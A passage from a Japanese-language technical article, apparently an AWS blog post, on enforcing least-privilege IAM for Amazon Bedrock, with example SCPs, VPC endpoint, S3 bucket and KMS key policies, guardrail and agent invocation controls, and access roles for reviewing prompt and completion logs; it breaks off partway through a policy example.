を使用して許可リスト方式でモデルへのアクセスを制限できます。以下は、アカウントのオペレーターが直接呼び出しで Anthropic と Amazon の FM のみを使用できるようにする SCP の例です。ワイルドカード文字のアスタリスク (*) を別の位置で使用すれば、モデルファミリーやモデルバージョン単位でも同様の制限を適用できます。 { "Version": "2012-10-17", "Statement": [ { "Sid": "DenyAllExceptAnthropicAndAmazonFMs", "Effect": "Deny", "Action": [ "bedrock:InvokeModel", "bedrock:InvokeModelWithResponseStream" ], "NotResource": [ "arn:aws:bedrock:*::foundation-model/amazon.*", "arn:aws:bedrock:*::foundation-model/anthropic.*" ] } ] } サードパーティーの FM の場合、承認には EULA への同意が含まれることがあります。AWS は Amazon Bedrock のモデルアクセスを簡素化 したため、このステップはバックグラウンドで自動的に行われます。それでも、法務部門がレビュー済みの EULA に準拠するために、アイデンティティと、各アイデンティティがサブスクライブできるモデルを制限することは可能です。以下は、アカウントのオペレーターがすべての Anthropic FM と 1 つの Meta Llama FM を有効にできるようにする アイデンティティベースのポリシーの例 です。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowAcceptingModelEULAs", "Effect": "Allow", "Action": [ "aws-marketplace:Subscribe" ], "Resource": "*", "Condition": { "Null": { "aws-marketplace:ProductId": "false" }, "ForAllValues:StringEquals": { "aws-marketplace:ProductId": [ "c468b48a-84df-43a4-8c46-8870630108a7", "b0eb9475-3a2c-43d1-94d3-56756fd43737", "prod-6dw3qvchef7zy", "prod-m5ilt4siql27k", "prod-ozonys2hmmpeu", "prod-fm3feywmwerog", "prod-2c2yc2s3guhqy" ] } } }, { "Sid": "AllowUnsubscribingFromModels", "Effect": "Allow", "Action": [ "aws-marketplace:Unsubscribe", "aws-marketplace:ViewSubscriptions" ], "Resource": "*" } ] } このアプローチは、アクションを許可リストに登録するだけであれば有効です。ただし、高い権限を持つユーザーが AWS Marketplace API への広範なアクセス権を既に持っている場合もあります。そのような場合は、 一部を除いてすべて拒否する アプローチを使用できます。前の例と同じモデルを対象とすると、ポリシーは次のようになります。 { "Version": "2012-10-17", "Statement": [ { "Sid": "DenyAcceptingAllExceptCertainModelEULAs", "Effect": "Deny", "Action": [ "aws-marketplace:Subscribe" ], "Resource": "*", "Condition": { "ForAnyValue:StringNotEquals": { "aws-marketplace:ProductId": [ "c468b48a-84df-43a4-8c46-8870630108a7", "b0eb9475-3a2c-43d1-94d3-56756fd43737", "prod-6dw3qvchef7zy", "prod-m5ilt4siql27k", "prod-ozonys2hmmpeu", "prod-fm3feywmwerog", "prod-2c2yc2s3guhqy" ] } } }, { "Sid": "DenyUnsubscribingAllExceptCertainModels", "Effect": "Deny", "Action": [ "aws-marketplace:Unsubscribe", "aws-marketplace:ViewSubscriptions" ], "Resource": "*", "Condition": { "ForAnyValue:StringNotEquals": { "aws-marketplace:ProductId": [ "c468b48a-84df-43a4-8c46-8870630108a7", "b0eb9475-3a2c-43d1-94d3-56756fd43737", "prod-6dw3qvchef7zy", "prod-m5ilt4siql27k", "prod-ozonys2hmmpeu", "prod-fm3feywmwerog", "prod-2c2yc2s3guhqy" ] } } } ] } 条件で使用するプロダクト ID は、「 Use product ID condition keys to control access 」で確認できます。 モデルの適応 このフェーズでは、ソリューションを構築します。つまり、コードを記述します。作業の大部分は従来のソフトウェア開発と同じですが、プロンプトエンジニアリング、プロンプトのガードレール、モデルのモニタリング、エージェントの設計など、生成 AI に固有の領域もあります。この記事では、アイデンティティとアクセス管理の側面のみに焦点を当てます。 適応は、詳細なアクセス許可のセットを作成するフェーズです。 データ境界 は、ガードレールを定義および実装するための概念的なツールとして活用できます。データ境界は通常、粒度が粗いため、それだけでは最小権限の原則の目標を達成できません。ただし、きめ細かなポリシーと組み合わせることで、多層防御のアプローチを実現できます。データ境界には次のものがあります。 アイデンティティ : 自社のネットワーク内で許可されるのは信頼できるアイデンティティのみであり、自社のリソースにアクセスできるのも信頼できるアイデンティティのみです。 リソース : 自社のアイデンティティは信頼できるリソースにのみアクセスでき、自社のネットワークからアクセスできるのも信頼できるリソースのみです。 ネットワーク : 自社のアイデンティティは想定されたネットワークからのみリソースにアクセスでき、自社のリソースには想定されたネットワークからのみアクセスできます。 Amazon Bedrock を使用するアプリケーションは、 Amazon Virtual Private Cloud (Amazon VPC) を使用して、仮想プライベートクラウド (VPC) のネットワーク内でホストできます。これにより、 AWS PrivateLink &nbsp;を使用して、データプレーン API とコントロールプレーン API の両方に対する VPC エンドポイントを作成できるようになります。PrivateLink でエンドポイントを作成すると、インターネットゲートウェイを使用せずに、VPC に接続されたコンピューティングリソース ( Amazon Elastic Compute Cloud (Amazon EC2) や AWS Lambda など) から Amazon Bedrock にアクセスできます。つまり、これらのリソースをすべてプライベートサブネットにデプロイできます。さらに、これらのエンドポイントでリソースベースのポリシーを使用すれば、API コールに関するプリンシパル、アクション、リソース、条件を制限できます。 例として、VPC のプライベートサブネットで EC2 インスタンスが実行されており、そのインスタンスで Amazon Bedrock のモデル呼び出しを使用するアプリケーションをホストしているとします。また、Amazon Bedrock のデータプレーンに接続するためのインターフェイス VPC エンドポイントを作成済みであるとします。EC2 インスタンスは、 &lt;rolename&gt; IAM ロールを使用するインスタンスプロファイルで設定されており、Amazon Bedrock の InvokeModel API コールを通じて、Anthropic の Claude Instant という 1 つの FM を呼び出せる必要があります。この場合、Amazon Bedrock のインターフェイス VPC エンドポイントにカスタムポリシーを設定することで、VPC、ひいてはその中の EC2 インスタンスに最小権限の原則を適用できます。次のポリシーをご自身のアカウントで使用するには、デフォルトのインターフェイス VPC エンドポイントポリシーを次の例に置き換えます。その際、 &lt;rolename&gt; を許可するロールに、 &lt;account-id&gt; を 12 桁のアカウント番号に置き換えてください。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowInvokingClaudeInstantV1Models", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam:: &lt;account-id&gt; :role/ &lt;rolename&gt; " }, "Action": [ "bedrock:InvokeModel" ], "Resource": "arn:aws:bedrock:*::foundation-model/anthropic.claude-instant-v1" } ] } このデータ境界のアプローチの詳細については、「 Security Objective 2: Implement a data perimeter using VPC endpoint policies 」を参照してください。 Amazon Bedrock で使用を許可するモデルは、ポリシー内で直接定義できます。ただし、Amazon Bedrock を使用するアプリケーションが複数ある場合は、新しいモデルの使用を許可するたびに複数のポリシーを更新しなければならないことがあります。そこで、データ境界のアプローチを補完するために、SCP を追加して推論に使用できるモデルを制限できます。Amazon Bedrock の推論はシンプルな API ( InvokeModel と Converse ) で行われるため、IAM ポリシーの条件要素を使用して、承認されていないモデルの使用を拒否できます。なお、2 つのポリシー (SCP と VPC エンドポイントポリシー) は似ていますが、動作が異なる点に注意してください。VPC エンドポイントポリシーは、PrivateLink を経由するネットワークパスが強制されている場合に適用されます。一方、SCP は、アタッチされているアカウントまたは OU 内のプリンシパルに適用されます。呼び出し元のアイデンティティがアカウントの外部にある場合は、VPC エンドポイントポリシーしか適用されないため、特に注意が必要です。 例えば、 AWS Organizations の組織全体で、すべての AWS リージョンを対象に、すべての Anthropic FM の呼び出しをブロックしたいとします。次の SCP の例を対象の OU または AWS アカウントに適用すると、これを実現できます。 { "Version": "2012-10-17", "Statement": { "Sid": "DenyInferenceForAnthropicModels", "Effect": "Deny", "Action": [ "bedrock:InvokeModel", "bedrock:InvokeModelWithResponseStream" ], "Resource": [ "arn:aws:bedrock:*::foundation-model/anthropic.*" ] } } 同じパターンは、 Amazon Simple Storage Service (Amazon S3) に保存されているデータなど、アプリケーションに必要なデータへのアクセスにも適用できます。 モデルのカスタマイズ Amazon Bedrock 上に構築されたソリューションには、 モデルのカスタマイズ が含まれる場合があります。さまざまなカスタマイズのアプローチに共通しているのは、データを扱うという点です。このデータは機密性が高いと想定されるため、最小権限の原則の適用対象となります。ここでは、データが Amazon S3 に保存されており、カスタマーマネージドの AWS Key Management Service (AWS KMS) キーで暗号化できるシナリオを取り上げます。 データ境界の考え方と同様に、対策はネットワーク、アイデンティティ、リソースという複数のレベルで講じることができます。Amazon Bedrock のモデルのカスタマイズでは サービスロール を使用するため、エンドツーエンドできめ細かな最小権限のアクセスを適用できます。Amazon Bedrock のサービスプリンシパルは、これらのサービスロールを引き受けて、お客様に代わってアクションを実行します。Amazon Bedrock のサービスプリンシパルがアカウント内のロールを引き受けられるようにするには、ロールに信頼ポリシーをアタッチする必要があります。 米国東部 (バージニア北部) リージョン (us-east-1) で Amazon Bedrock のカスタマイズジョブを実行しているとします。次の信頼ポリシーの例を使用すると、Amazon Bedrock のサービスプリンシパルのみがロールを引き受けられるようになります。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowBedrockServicePrincipalUnderConditions", "Effect": "Allow", "Principal": { "Service": "bedrock.amazonaws.com" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals": { "aws:SourceAccount": " &lt;account-id&gt; " }, "ArnEquals": { "aws:SourceArn": "arn:aws:bedrock:us-east-1: &lt;account-id&gt; :model-customization-job/*" } } } ] } 前述の信頼ポリシーの例にある &lt;account-id&gt; は、必ずご自身の 12 桁のアカウント番号に置き換えてください。このポリシーでは、 aws:SourceAccount 条件を追加することで、 サービス間の混乱した代理問題を防止 しています。混乱した代理問題とは、アクションを実行するアクセス許可を持たないエンティティが、より高い権限を持つエンティティにそのアクションを実行させることができてしまう状況のことです。AWS では、サービス間のなりすましによって混乱した代理問題が発生する可能性があります。サービス間のなりすましは、あるサービス ( 呼び出し元の サービス) が別のサービス ( 呼び出される サービス) を呼び出すときに発生する可能性があります。AWS は、アカウント内のリソースへのアクセス権がサービスプリンシパルに付与されているすべてのサービスについて、データの保護に役立つツールを提供しています。ロールの信頼ポリシーで aws:SourceArn と aws:SourceAccount のグローバル条件コンテキストキーを使用すると、Amazon Bedrock が別のサービス (前述の例ではカスタマイズジョブ) に与えるリソースへのアクセス許可を制限できます。 aws:SourceArn は、AWS アカウントだけでなく、ロールを引き受けるリクエストの具体的な送信元を定義するため、ここではより厳格な制限方法となります。 モデルのカスタマイズタスクの実行に必要なアクセス許可のみを付与する必要があります。例えば、トレーニングデータのバケット、検証データのバケット、出力バケット (Amazon Bedrock が出力メトリクスを配信する場所) へのアクセスに限定したいとします。同じサービスロールに次のポリシーをアタッチすると、それらのアクセス許可のみが付与されます。 &lt;training-bucket&gt; プレースホルダーをトレーニングデータが含まれるバケット名に、 &lt;validation-bucket&gt; を検証用のバケットに、 &lt;output-bucket&gt; をメトリクスを保存するバケットに置き換えてください。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowAccessToTrainingAndValidationBucket", "Effect": "Allow", "Action": [ "s3:GetObject", "s3:ListBucket" ], "Resource": [ "arn:aws:s3::: &lt;training-bucket&gt; ", "arn:aws:s3::: &lt;training-bucket&gt; /*", "arn:aws:s3::: &lt;validation-bucket&gt; ", "arn:aws:s3::: &lt;validation-bucket&gt; /*" ] }, { "Sid": "AllowAccessToOutputBucket", "Effect": "Allow", "Action": [ "s3:GetObject", "s3:PutObject", "s3:ListBucket" ], "Resource": [ "arn:aws:s3::: &lt;output-bucket&gt; ", "arn:aws:s3::: &lt;output-bucket&gt; /*" ] } ] } このアプローチを補完するために、モデルのカスタマイズジョブで VPC を使用 して、 トレーニングデータへのアクセスを制限する ことをお勧めします。この場合、ネットワークはインターフェイス VPC エンドポイントを使用して S3 バケットにアクセスするため、技術的にはここでも VPC エンドポイントのリソースポリシーが関係します。これにより、別のネットワークコントロールとして、特定の VPC エンドポイント経由のアクセスのみを許可する S3 バケットポリシーを定義できます。カスタマイズジョブ自体のアクセスを制限したい場合は、次の例のようなバケットポリシーを適用します。その際、 &lt;training-bucket&gt; をトレーニングデータが含まれるバケット名に、 &lt;vpce-id&gt; を VPC 内にある VPC エンドポイントの ID に置き換えてください。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AccessToSpecificVPCEOnly", "Effect": "Deny", "Principal": "*", "Action": "s3:*", "Resource": [ "arn:aws:s3::: &lt;training-bucket&gt; ", "arn:aws:s3::: &lt;training-bucket&gt; /*" ], "Condition": { "StringNotEquals": { "aws:SourceVpce": " &lt;vpce-id&gt; " } } } ] } さらに、VPC エンドポイントにアクセスできるプリンシパルと、それらのプリンシパルが Amazon S3 で実行できるアクションも制限します。この記事の前半にある Amazon Bedrock の呼び出しに関するセクションの例とほぼ同じであるため、簡潔さを優先してここではポリシーの例を省略します。 カスタマーマネージドの AWS KMS キーを使用した Amazon S3 での暗号化 ( SSE-KMS ) を強制する必要がある場合は、次の作業を行います。 暗号化されていないコンテンツのアップロードを拒否するステートメントをバケットポリシーに追加します。 KMS キーポリシーを更新し、サービスロールがキーを使用した復号とキー情報の取得を行えるようにします。 次のポリシーの例は、バケットポリシーに追加するものです。暗号化されていないオブジェクトが S3 バケットに追加されるのを拒否する方法を示しています。ここでも、 &lt;training-bucket&gt; をトレーニングデータが含まれる S3 バケットの名前に置き換えてください。 { "Version": "2012-10-17", "Statement": [ { "Sid": "DenyObjectsThatAreNotSSEKMS", "Effect": "Deny", "Principal": "*", "Action": "s3:PutObject", "Resource": "arn:aws:s3::: &lt;training-bucket&gt; /*", "Condition": { "Null": { "s3:x-amz-server-side-encryption-aws-kms-key-id": "true" } } } ] } 最後に、Amazon Bedrock のサービスロールに KMS キーへのアクセスを許可するために、 KMS キーポリシー に次のようなステートメントを追加する必要があります。 &lt;account-id&gt; を 12 桁のアカウント番号に、 &lt;bedrock-service-role&gt; を作成したロール (Amazon Bedrock のサービスプリンシパルが引き受けるロール) に置き換えてください。IAM ロールには、KMS キーでデータを復号するために必要なアクセス権のみを付与してください。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowUseOfKeyByBedrockRole", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam:: &lt;account-id&gt; :role/ &lt;bedrock-service-role&gt; " }, "Action": [ "kms:Decrypt", "kms:DescribeKey" ], "Resource": "*" } ] } Amazon Bedrock は、カスタマイズされたモデルをカスタマーマネージドの KMS キーで暗号化することもできます。Amazon Bedrock は KMS キーグラント を使用して、カスタマイズされたモデルを暗号化し、後で推論用にデプロイする際に復号します。そのため、KMS キーポリシーで、同じ IAM ロールに KMS キーグラントを作成するアクセス許可を付与する必要があります。この目的で使用する KMS キーは、両方のキーにきめ細かなアクセス許可を設定できるように、通常はトレーニングデータの暗号化に使用したキーとは別のものにします。 ここでは、カスタマイズされたモデルの暗号化と復号に、2 つの異なるロールを使用するとします。モデルのカスタマイズジョブを実行するロールが KMS キーを使用できるようにするには、次のポリシーステートメントを KMS キーポリシーに追加します。その際、 &lt;account-id&gt; を 12 桁のアカウント番号に、 &lt;region&gt; を Amazon Bedrock を実行するリージョンに、 &lt;bedrock-model-customization-role&gt; をモデルのカスタマイズジョブの実行に使用するロール名に、 &lt;invocation-role&gt; を推論に使用するロール名に置き換えてください。 { "Version": "2012-10-17", "Id": "PermissionsCustomModelKey", "Statement": [ { "Sid": "PermissionsEncryptCustomModel", "Effect": "Allow", "Principal": { "AWS": [ "arn:aws:iam:: &lt;account-id&gt; :role/ &lt;bedrock-model-customization-role&gt; " ] }, "Action": [ "kms:Decrypt", "kms:GenerateDataKey", "kms:DescribeKey", "kms:CreateGrant" ], "Resource": "*", "Condition": { "StringLike": { "kms:ViaService": [ "bedrock. &lt;region&gt; .amazonaws.com" ] } } }, { "Sid": "PermissionsDecryptModel", "Effect": "Allow", "Principal": { "AWS": [ "arn:aws:iam:: &lt;account-id&gt; :role/ &lt;invocation-role&gt; " ] }, "Action": [ "kms:Decrypt" ], "Resource": "*", "Condition": { "StringLike": { "kms:ViaService": [ "bedrock. &lt;region&gt; .amazonaws.com" ] } } } ] } KMS キーグラントを使用すると、カスタマイズジョブの完了後に、サービスロールに付与したアクセス許可を取り消すことができます。これにより、アクセス許可を最小権限に抑えられます。また、Amazon Bedrock はモデルの暗号化にセカンダリ KMS キーグラントを使用します。そのため、Amazon Bedrock がお客様に代わって実行するオペレーションが完了すると、グラントは直ちに自動で廃止されます。グラントの使用方法の詳細については、「 Encryption of model customization jobs and artifacts 」を参照してください。 これらの IAM ポリシーのガードレールを補完するために、ネットワークコントロールを追加して、プロセスのアクセス許可の範囲を絞り込むこともできます。この記事では IAM ポリシーに焦点を当てているため、詳細には触れず、プロセスの仕組みのみを説明します。 モデルのカスタマイズジョブを開始すると、モデルのデプロイアカウント内でモデルトレーニングジョブがトリガーされます。トレーニングジョブは、ベースモデルが保存されている S3 バケットからそのモデルを取得した後、カスタマイズ用のトレーニングデータを保持する S3 バケットに接続してカスタマイズを開始します。この処理は VPC を経由して行うことができます。その場合、サブネットやセキュリティグループなどの VPC 設定を指定すると、トレーニングジョブは指定どおりにその VPC に Elastic Network Interface (ENI) を配置します。これにより、トレーニングデータを読み取るための S3 バケットへのリクエストは、その ENI に対して VPC 内に設定されているルーティングルールに従うようになります。VPC のルーティングと ENI にアタッチされたセキュリティグループを使用して、モデルのカスタマイズジョブのネットワークアクセスを制限できます。 Amazon Bedrock Guardrails Amazon Bedrock Guardrails は、生成 AI アプリケーションを大規模かつ安全に構築するための、設定可能な保護機能を提供します。Amazon Bedrock Guardrails の詳細については、 サービスドキュメント を参照してください。2025 年 3 月、AWS は 新しい条件キー ( bedrock:GuardrailIdentifier ) を追加しました。この条件キーを使用すると、ポリシーで特定のガードレールの使用を強制できます。これ以前は、Amazon Bedrock エージェントを使用する方法がありました。これについては次のセクションで説明します。 ここでは、特定のガードレールを使用する場合にのみ Amazon のモデルを呼び出せるロールを作成するとします。承認済みの設定を適用した Amazon Bedrock のガードレールは作成済みです。前の例と同様に、 &lt;region&gt; 、 &lt;account-id&gt; 、 &lt;guardrail-id&gt; 、 &lt;guardrail-version&gt; を Amazon Bedrock のガードレールの値に置き換えてください。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowModelInvocationWithGuardrail", "Effect": "Allow", "Action": [ "bedrock:InvokeModel", "bedrock:InvokeModelWithResponseStream" ], "Condition": { "ArnEquals": { "bedrock:GuardrailIdentifier": "arn:aws:bedrock: &lt;region&gt; : &lt;account-id&gt; :guardrail/ &lt;guardrail-id&gt; : &lt;guardrail-version&gt; " } }, "Resource": "arn:aws:bedrock: &lt;region&gt; ::foundation-model/amazon.*" } ] } この新しい条件は SCP でも使用できます。例えば、次の SCP を使用すると、すべての直接的なモデル呼び出しで、いずれかのガードレールの使用を強制できます。 { "Version": "2012-10-17", "Statement": [ { "Sid": "DenyModelInvocationWithoutGuardrail", "Effect": "Deny", "Action": [ "bedrock:InvokeModel", "bedrock:InvokeModelWithResponseStream" ], "Resource": "*", "Condition": { "Null": { "bedrock:GuardrailIdentifier": "true" } } } ] } この SCP では、特定のガードレールを強制していないことにお気付きかもしれません。これは意図的なものです。OU 全体などに適用できるように、SCP の粒度を粗く保っています。より具体的な制限は、個々のアカウントのポリシー (IAM または SCP) で適用できます。 Amazon Bedrock Agents Amazon Bedrock Agents は、アプリケーション用の自律型エージェントを構築および設定する機能を提供します。Amazon Bedrock Agents の詳細については、「 Automate tasks in your application using AI agents 」を参照してください。 Amazon Bedrock エージェントを使用すると、推論タスクに特定のセキュリティ特性を適用することもできます。例えば、推論の呼び出しで、特定のプロンプト、IAM サービスロール、ナレッジベース、プロンプトと補完のコンテンツの制限、KMS キー、FM の使用を強制できます。このアプローチを有効に機能させるには、Amazon Bedrock エージェントの設定を作成および更新できるプリンシパルも制限する必要があります。これも、特定のプリンシパルにのみアタッチする IAM ポリシーで制限できます。 ここでは、特定の Amazon Bedrock エージェントを経由する場合にのみ Amazon Bedrock のモデルを呼び出せるロールを作成するとします。次の IAM プリンシパルのアクセス許可ポリシーの例は、指定した Amazon Bedrock エージェントに承認済みの設定が適用されていることを前提としています。ここでも、 &lt;region&gt; 、 &lt;account-id&gt; 、 &lt;bedrock-agent-id&gt; 、 &lt;bedrock-agent-alias-id&gt; を Amazon Bedrock エージェントの値に置き換えてください。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowAgentInvocation", "Effect": "Allow", "Action": [ "bedrock:InvokeAgent" ], "Resource": "arn:aws:bedrock: &lt;region&gt; : &lt;account-id&gt; :agent-alias/ &lt;bedrock-agent-id&gt; / &lt;bedrock-agent-alias-id&gt; " }, { "Sid": "DenyDirectInvocation", "Effect": "Deny", "Action": [ "bedrock:InvokeModel", "bedrock:InvokeModelWithResponseStream", "bedrock:CreateModelInvocationJob" ], "Resource": "arn:aws:bedrock:*::foundation-model/*" } ] } システム管理者またはオペレーターが、承認済みの Amazon Bedrock ガードレールを使用して Amazon Bedrock エージェントを設定していれば、前述のポリシーがアタッチされたプリンシパルはプロンプトでエージェントを呼び出すことはできますが、Amazon Bedrock のモデルを直接呼び出すことはできません。この方法は、Amazon Bedrock エージェントに適用したすべての設定を、呼び出し時に確実に強制するのに役立ちます。さらに、 bedrock:InvokeModel と bedrock:InvokeModelWithResponseStream を拒否すると、Converse API と StartAsyncInvoke API も拒否されます。そのため、これらを Deny ステートメントに個別に追加する必要はありません。 以下は、アタッチされた IAM プリンシパルに、特定の Amazon Bedrock エージェントの設定を更新する権限を付与する IAM ポリシーステートメントの例です。 &lt;region&gt; 、 &lt;account-id&gt; 、 &lt;agent-id&gt; を、使用しているリージョン、アカウント ID、エージェント ID に置き換えてください。すべてのエージェントを対象とする場合は、 &lt;agent-id&gt; をアスタリスク (*) に置き換えます。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowUpdatingBedrockAgents", "Effect": "Allow", "Action": [ "bedrock:DisassociateAgentKnowledgeBase", "bedrock:GetAgent*", "bedrock:ListAgent*", "bedrock:PrepareAgent", "bedrock:TagResource", "bedrock:UntagResource", "bedrock:UpdateAgent*" ], "Resource": [ "arn:aws:bedrock: &lt;region&gt; : &lt;account-id&gt; :agent/ &lt;agent-id&gt; " ] } ] } エージェントが適さない場合、Amazon Bedrock のモデルで推論を実行するユーザーやアプリケーションには、 bedrock:InvokeModel 、 bedrock:InvokeModelWithResponseStream 、 bedrock:CreateModelInvocationJob のいずれかのアクションを呼び出すアクセス許可が必要です。このような場合は、 許可リスト方式 で対象のモデルを制限することが望ましいでしょう。また、こうしたアクセス許可は、必要なロールやアプリケーションにのみアタッチします。 以下は、呼び出しを Anthropic の Claude Instant に限定するポリシーの例です。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowInvokationOnAnthropicClaudeInstantV1", "Effect": "Allow", "Action": [ "bedrock:InvokeModel", "bedrock:InvokeModelWithResponseStream", "bedrock:CreateModelInvocationJob" ], "Resource": "arn:aws:bedrock:*::foundation-model/anthropic.claude-instant-v1" } ] } また、検出または事後対応のためのコントロールとして、 Amazon EventBridge ルール を使用して、適切な Amazon Bedrock ガードレールを使用していない モデル呼び出し を検出することもできます。ただし、これはこの記事の範囲外です。 モデルのテスト テストは、ソリューションをデプロイする前の最後のステップです。テストには、単体テスト、統合テスト、ユーザー受け入れテスト、ペネトレーションテストなどがあります。このフェーズでは、割り当てたアクセス許可が本当に 最小権限 になっているかどうかを改めて検証できます。 特にデータを扱う機能テストでは、テストに使用するデータの機密性が高い可能性があることを考慮することが重要です。テストのために合成テストデータを生成しない場合は、通常これに該当します。テストに使用するデータと、テストで生成され、そのデータの一部を含む可能性があるログへのアクセスを制限するコントロールは、本番環境で適用するものと同じにする必要があります。テスト段階だからといって、データアクセスコントロールが不要になるわけではありません。 前述のとおり、コントロールはアイデンティティだけでなく、ネットワークとリソースにも適用されます。このフェーズでは、これらすべてを検証し、その有効性を確認する必要があります。テストには次のようなものがあります (ただし、これらに限定されません)。 Amazon Bedrock で許可されたアクションを VPC エンドポイント経由でのみ実行でき、VPC エンドポイントを使用しないアクションがブロックされることを検証します。 VPC エンドポイントのリソースポリシーの有効性を検証し、認証および認可されたプリンシパルのみが VPC エンドポイントを使用できることを確認します。 ナレッジベースを使用する場合は、Amazon Bedrock のサービスプリンシパルのみがナレッジベースにアクセスできることを検証します。 Amazon Bedrock ガードレールを使用する場合は、その有効性を評価します。生成 AI アプリケーションの性質上、入力データと出力データは非常に多様になり得ます。そのため、十分な数のプロンプトを使用してガードレールをテストします。 モデル呼び出しのログ記録 を有効にしている場合は、ログが正しく書き込まれ、IAM のアクセス許可と暗号化によって保護されていることを検証します。 ログには機密データが含まれている可能性があるため、必要な担当者のみがログにアクセスできることを検証します。ログを自動的にサニタイズして、新しい CloudWatch ロググループに転送することも検討します。 関連するすべての Amazon Bedrock の API コールが AWS CloudTrail に適切に記録されていること、および不審なアクティビティを効果的にモニタリングしてアラートを発行できることを検証します。 プロンプトやレスポンスなどの機密情報が、CloudTrail ログやトレース出力に保存されていないことを確認します。 設計フェーズで 脅威モデリング を実施している場合、その結果はセキュリティ関連のテストケースを作成するうえで貴重なインプットになります。 モデルの運用 このフェーズでは、最終段階としてソリューションを本番環境にデプロイします。オペレーターには、エージェント、ガードレール、プロンプトライブラリ、ナレッジベースなどの Amazon Bedrock リソースをプロビジョニングおよび管理するための、Amazon Bedrock のコントロールプレーンのアクセス許可が必要です。ただし、付与するのは、使用している Amazon Bedrock の機能をプロビジョニングおよび管理するためのコントロールプレーンのアクセス許可のみに限定する必要があります。また、これらのオペレーターが Amazon Bedrock の機能やそのリソース (Amazon Bedrock Agents、Amazon Bedrock Guardrails、プロンプトライブラリ) を呼び出したり設定したりできるのは、承認されたパイプラインを経由する場合のみとします。この イミュータブルインフラストラクチャ のアプローチにより、データプレーンへの承認されていないアクセス、コントロールプレーンへの追跡されない変更、アプリケーションに支障をきたす可能性のある更新につながる状況や設定を、人間のユーザーが作り出すことを防止できます。 あるいは、割り当てるアクセス許可を必要最小限に抑えるために、パイプラインとパイプラインロールを使用した自動デプロイを利用することもできます。これにより、バージョン管理されたインフラストラクチャを実現できるだけでなく、人間のアイデンティティにアクセス権を付与しないことで最小権限の原則にも準拠できます。 デプロイ後は、ソリューションが稼働し、実際のユーザーがアクセスするようになります。この段階では、モニタリング、ログ記録、インシデント対応などが重要になります。Amazon Bedrock はデフォルトでは推論データやレスポンスデータを保存しませんが、生成 AI アプリケーションの精度を継続的に検証するために、これらのログ記録を有効にすることをお勧めします。 このソリューションを使用することで、次の領域へのアクセスを最小限に抑えることができます。 ログに記録されたプロンプトとレスポンス ナレッジベース、RAG、または同様のソースを通じて利用可能なデータ インフラストラクチャを変更する権限 タスクごとに専用の最小権限のロールを用意し、複数のロールを使い分けてください。これにより、アクセス許可の範囲を最小限に抑えられます。また、最小権限を適用すると、特定のタスクには特定のロールを引き受ける必要があるため、意図しない変更のリスクも軽減されます。 AWS Security Reference Architecture に従うと、セキュリティモニタリングのデータが中央のセキュリティアカウントに集約されます。これにより、インフラストラクチャのセキュリティポスチャを包括的かつ一元的に把握できます。 機密情報のログ記録 運用上の重要な観点の 1 つは、LLM との間で送受信される情報をログに記録することです。この情報は機密データとなり得ます。Amazon Bedrock はプロンプトやレスポンスを保存しませんが、モデル呼び出しのログ記録を使用すると、AWS アカウント内の Amazon Bedrock におけるすべての呼び出しについて、呼び出しログ、モデルの入力データ、モデルの出力データを収集できます。モデル呼び出しのログ記録は、デフォルトでは有効になっていません。有効にすると、承認されたすべてのモデルのすべての呼び出しについて、プロンプト、補完、またはその両方が、設定したログの送信先に記録されます。プロンプトと補完のログの送信先として指定できるのは、Amazon S3 と CloudWatch です。これらの送信先にログを書き込む際は、オプションで、指定した KMS キーを使用してログを暗号化できます。 これらのログに記録される、ユーザーが入力したプロンプトやモデルが生成したレスポンスには、機密情報が含まれている可能性があります。そのため、これらのログへのアクセスは、この種の機密データへのアクセスを必要とし、かつその権限を付与されている担当者および自動化されたプロセスに限定する必要があります。Amazon S3 のログに Amazon Macie を使用したり、CloudWatch Logs のデータ保護機能を使用したりして、ログ内の機密情報を検出、モニタリング、マスクする方法もありますが、これはこの記事の範囲外です。 Amazon Bedrock ガードレールを導入していても、これらのログにはガードレール適用前のユーザー入力が含まれます。そのため、プロンプトと補完のログには機密情報が含まれていると想定する必要があります。この場合のベストプラクティスは、 KMS キーでログデータを暗号化 し、 データ保護ポリシー をロググループに適用したうえで、少なくとも次の 3 つの IAM ロールを定義することです。 BasicCompletionLogReviewer : ログのマスクされたバージョンへのアクセスと確認のみを目的とする IAM ロール。 SensitiveDataCompletionLogReviewer : ログのマスクされていないバージョンへのアクセスと確認のみを目的とする、制限された IAM ロール。 CompletionLogAdmin : Amazon S3 と CloudWatch の送信先に監査の検出結果を送信できるデータ保護ポリシーの作成、表示、削除のみを目的とする、制限された IAM ロール。 特定のロググループのログイベントの読み取りを許可するには、次のようなポリシーを BasicCompletionLogReviewer ロールにアタッチします。その際、 &lt;region&gt; 、 &lt;account-id&gt; 、 &lt;log-group-name&gt; 、 &lt;alias-name&gt; を、CloudWatch ロググループと、そのロググループを暗号化する KMS キーに一致する値に置き換えてください。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowReadingMaskedLogStream", "Effect": "Allow", "Action": [ "logs:DescribeLogStreams", "logs:GetLogEvents" ], "Resource": "arn:aws:logs: &lt;region&gt; : &lt;account-id&gt; :log-group: &lt;log-group-name&gt; :*" }, { "Sid": "AllowDecryptOfLogEvents", "Effect": "Allow", "Action": [ "kms:Decrypt" ], "Resource": "arn:aws:kms: &lt;region&gt; : &lt;account-id&gt; :alias/ &lt;alias-name&gt; " } ] } データ保護ポリシーが有効な場合、前述のポリシーでは、ログのマスクされていないバージョンにはアクセスできません。 SensitiveDataCompletionLogReviewer ロールにマスクされていないバージョンへのアクセスを許可するには、アクションを追加する必要があります。その際、 &lt;region&gt; 、 &lt;account-id&gt; 、 &lt;log-group-name&gt; 、 &lt;alias-name&gt; を、CloudWatch ロググループと、そのロググループを暗号化する KMS キーに一致する値に置き換えてください。 { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowReadingMaskedLogEvents", "Effect": "Allow", "Action": [ 